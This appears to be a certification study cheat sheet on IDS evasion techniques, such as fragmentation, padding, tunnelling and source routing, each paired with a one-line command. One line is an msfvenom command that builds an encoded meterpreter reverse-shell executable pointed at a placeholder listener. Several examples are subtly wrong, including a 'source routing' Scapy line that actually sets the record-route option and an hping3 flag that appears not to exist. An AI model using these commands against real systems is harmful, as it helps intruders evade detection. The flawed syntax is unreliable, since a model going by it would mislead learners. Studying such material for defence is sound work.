# CEH Module 12: Evasion Techniques Cheat Sheet

## 1. Fragmentation Attack

Breaking a packet into small fragments to bypass IDS inspection.  
Tools: hping3, Scapy  
Command Example (hping3): hping3 -f -S -p 80 <target\_ip>

## 2. Polymorphic Shellcode

Modifying shellcode so that it changes every time, making it hard for signature-based IDS to detect.  
Tools: msfvenom, Shikata Ga Nai encoder in Metasploit  
Command Example: msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<IP> LPORT=<port> -e x86/shikata\_ga\_nai -i 3 -f exe

## 3. Using Encrypted Channels

Encrypting malicious traffic so IDS cannot read its content.  
Tools: OpenSSL, stunnel  
Command Example: stunnel stunnel.conf

## 4. Packet Padding

Adding extra, meaningless data to packets to avoid signature detection.  
Tools: hping3  
Command Example: hping3 --padfile <file> <target\_ip>

## 5. Protocol Tunneling

Hiding malicious traffic inside allowed protocols (e.g., HTTP, DNS).  
Tools: iodine (for DNS tunneling), httptunnel  
Command Example (iodine): iodine -f <password> <dns\_server>

## 6. Traffic Timing Alteration

Sending packets at irregular intervals to avoid pattern detection.  
Tools: hping3  
Command Example: hping3 -i u100000 <target\_ip>

## 7. Source Routing

Specifying the route a packet should take to avoid monitored network paths.  
Tools: Scapy  
Command Example: scapy >> send(IP(dst='<target\_ip>', options=[IPOption\_RR()])/TCP(dport=80))